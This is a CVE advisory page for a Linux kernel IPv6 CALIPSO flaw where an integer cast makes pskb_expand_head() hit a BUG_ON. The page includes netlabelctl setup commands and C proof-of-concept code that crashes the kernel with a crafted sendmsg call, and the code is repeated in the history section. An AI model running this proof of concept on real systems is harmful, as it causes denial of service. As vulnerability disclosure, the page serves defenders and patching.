CVE-2025-71085 - Vulnerability Details

- ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Description

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
Using `netlabelctl` tool:

netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;

// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;

// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &msg, 0);

Published: 2026-01-13

Score: 5.5 Medium

EPSS: < 1% Very Low

KEV: No

Impact:

Action:

Analysis

Analysis and contextual insights are available on OpenCVE Cloud.

Default status is the baseline for the product, each version can override it (e.g. patched versions marked unaffected).

Vendor Product Default status Versions

Linux

unaffected

Version	Status	Constraints
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< 86f365897068d09418488165a68b23cb5baa37f2
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< 6b7522424529556c9cbc15e15e7bd4eeae310910
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< 2bb759062efa188ea5d07242a43e5aa5464bbae1
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< c53aa6a5086f03f19564096ee084a202a8c738c0
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< bf3709738d8a8cc6fa275773170c5c29511a0b24
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< 73744ad5696dce0e0f43872aba8de6a83d6ad570
`2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3`	affected	< 58fc7342b529803d3c221101102fe913df7adb83

Linux

affected

Version	Status	Constraints
`4.8`	affected	—
`0`	unaffected	< 4.8
`5.10.248`	unaffected	≤ 5.10.*
`5.15.198`	unaffected	≤ 5.15.*
`6.1.160`	unaffected	≤ 6.1.*
`6.6.120`	unaffected	≤ 6.6.*
`6.12.64`	unaffected	≤ 6.12.*
`6.18.4`	unaffected	≤ 6.18.*
`6.19`	unaffected	≤ *

Configuration 1 [-]

OR	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel::::::::
	cpe:2.3:o:linux:linux_kernel:4.8:-::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc1::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc2::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc3::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc4::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc5::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc6::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc7::::::
	cpe:2.3:o:linux:linux_kernel:6.19:rc8::::::

No data.

No data available yet.

Remediation

No vendor fix or workaround currently provided.

Additional remediation guidance may be available on OpenCVE Cloud.

Tracking

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Advisories

Source	ID	Title
Debian DLA	DLA-4475-1	linux security update
Debian DLA	DLA-4476-1	linux-6.1 security update
Debian DSA	DSA-6126-1	linux security update
Debian DSA	DSA-6127-1	linux security update
Ubuntu USN	USN-8096-1	Linux kernel vulnerabilities
Ubuntu USN	USN-8096-2	Linux kernel (FIPS) vulnerabilities
Ubuntu USN	USN-8096-3	Linux kernel vulnerabilities
Ubuntu USN	USN-8096-4	Linux kernel (Real-time) vulnerabilities
Ubuntu USN	USN-8096-5	Linux kernel (NVIDIA Tegra IGX) vulnerabilities
Ubuntu USN	USN-8116-1	Linux kernel (Intel IoTG Real-time) vulnerabilities
Ubuntu USN	USN-8141-1	Linux kernel (Raspberry Pi) vulnerabilities
Ubuntu USN	USN-8163-1	Linux kernel (Azure FIPS) vulnerabilities
Ubuntu USN	USN-8163-2	Linux kernel (Azure) vulnerabilities
Ubuntu USN	USN-8177-1	Linux kernel vulnerabilities
Ubuntu USN	USN-8179-1	Linux kernel vulnerabilities
Ubuntu USN	USN-8177-2	Linux kernel (Real-time) vulnerabilities
Ubuntu USN	USN-8183-1	Linux kernel (GCP) vulnerabilities
Ubuntu USN	USN-8184-1	Linux kernel (Real-time) vulnerabilities
Ubuntu USN	USN-8179-2	Linux kernel (FIPS) vulnerabilities
Ubuntu USN	USN-8185-1	Linux kernel (NVIDIA) vulnerabilities
Ubuntu USN	USN-8179-3	Linux kernel vulnerabilities
Ubuntu USN	USN-8183-2	Linux kernel vulnerabilities
Ubuntu USN	USN-8203-1	Linux kernel (Oracle) vulnerabilities
Ubuntu USN	USN-8204-1	Linux kernel (Raspberry Pi Real-time) vulnerabilities
Ubuntu USN	USN-8185-2	Linux kernel (Low Latency NVIDIA) vulnerabilities
Ubuntu USN	USN-8179-4	Linux kernel (GCP) vulnerabilities
Ubuntu USN	USN-8243-1	Linux kernel (Azure) vulnerabilities
Ubuntu USN	USN-8245-1	Linux kernel vulnerabilities
Ubuntu USN	USN-8257-1	Linux kernel (Raspberry Pi) vulnerabilities
Ubuntu USN	USN-8258-1	Linux kernel (Azure) vulnerabilities
Ubuntu USN	USN-8260-1	Linux kernel (Azure FIPS) vulnerabilities
Ubuntu USN	USN-8261-1	Linux kernel (Xilinx) vulnerabilities
Ubuntu USN	USN-8265-1	Linux kernel (NVIDIA Tegra) vulnerabilities

No CVSS v4.0

Attack Vector Local

Attack Complexity Low

Privileges Required Low

Scope Unchanged

Confidentiality Impact None

Integrity Impact None

Availability Impact High

User Interaction None

No CVSS v3.0

No CVSS v2

This CVE is not in the KEV list.

The EPSS score is 0.00033.

Key SSVC decision points have not yet been added.

References

Link	Providers
https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2
https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0
https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T
https://nvd.nist.gov/vuln/detail/CVE-2025-71085
https://www.cve.org/CVERecord?id=CVE-2025-71085

History

Wed, 25 Mar 2026 19:00:00 +0000

Type	Values Removed	Values Added
Weaknesses		CWE-617
CPEs		cpe:2.3:o:linux:linux_kernel:4.8:-:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc1:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc2:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc3:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc4:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc5:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc6:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc7:::::: cpe:2.3:o:linux:linux_kernel:6.19:rc8::::::
Metrics	cvssV3_1 `{'score': 7.0, 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H'}`	cvssV3_1 `{'score': 5.5, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}`

Mon, 19 Jan 2026 12:45:00 +0000

Type	Values Removed	Values Added
References		https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910 https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2

Wed, 14 Jan 2026 12:15:00 +0000

Type	Values Removed	Values Added
References		https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T https://nvd.nist.gov/vuln/detail/CVE-2025-71085 https://www.cve.org/CVERecord?id=CVE-2025-71085
Metrics	threat_severity `None`	cvssV3_1 `{'score': 7.0, 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H'}` threat_severity `Moderate`

Tue, 13 Jan 2026 15:45:00 +0000

Type	Values Removed	Values Added
Description		In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr ) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char hop_hdr = (char )cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) 8 = 80 sendmsg(fd, &msg, 0);
Title		ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
First Time appeared		Linux Linux linux Kernel
CPEs		cpe:2.3:o:linux:linux_kernel::::::::
Vendors & Products		Linux Linux linux Kernel
References		https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1 https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83 https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570 https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24 https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0

Subscriptions

Linux Linux Kernel

MITRE

Status: PUBLISHED

Assigner: Linux

Published: 2026-01-13T15:34:48.324Z

Updated: 2026-05-11T21:54:27.272Z

Reserved: 2026-01-13T15:30:19.649Z

Link: CVE-2025-71085

Vulnrichment

No data.

NVD

Status : Analyzed

Published: 2026-01-13T16:16:08.117

Modified: 2026-03-25T18:57:30.837

Link: CVE-2025-71085

Redhat

Severity : Moderate

Publid Date: 2026-01-13T00:00:00Z

Links: CVE-2025-71085 - Bugzilla

OpenCVE Enrichment

No data.

Weaknesses

CWE-617

Tracking

Attack Vector Local

Attack Complexity Low

Privileges Required Low

Scope Unchanged

Confidentiality Impact None

Integrity Impact None

Availability Impact High

User Interaction None

Subscriptions

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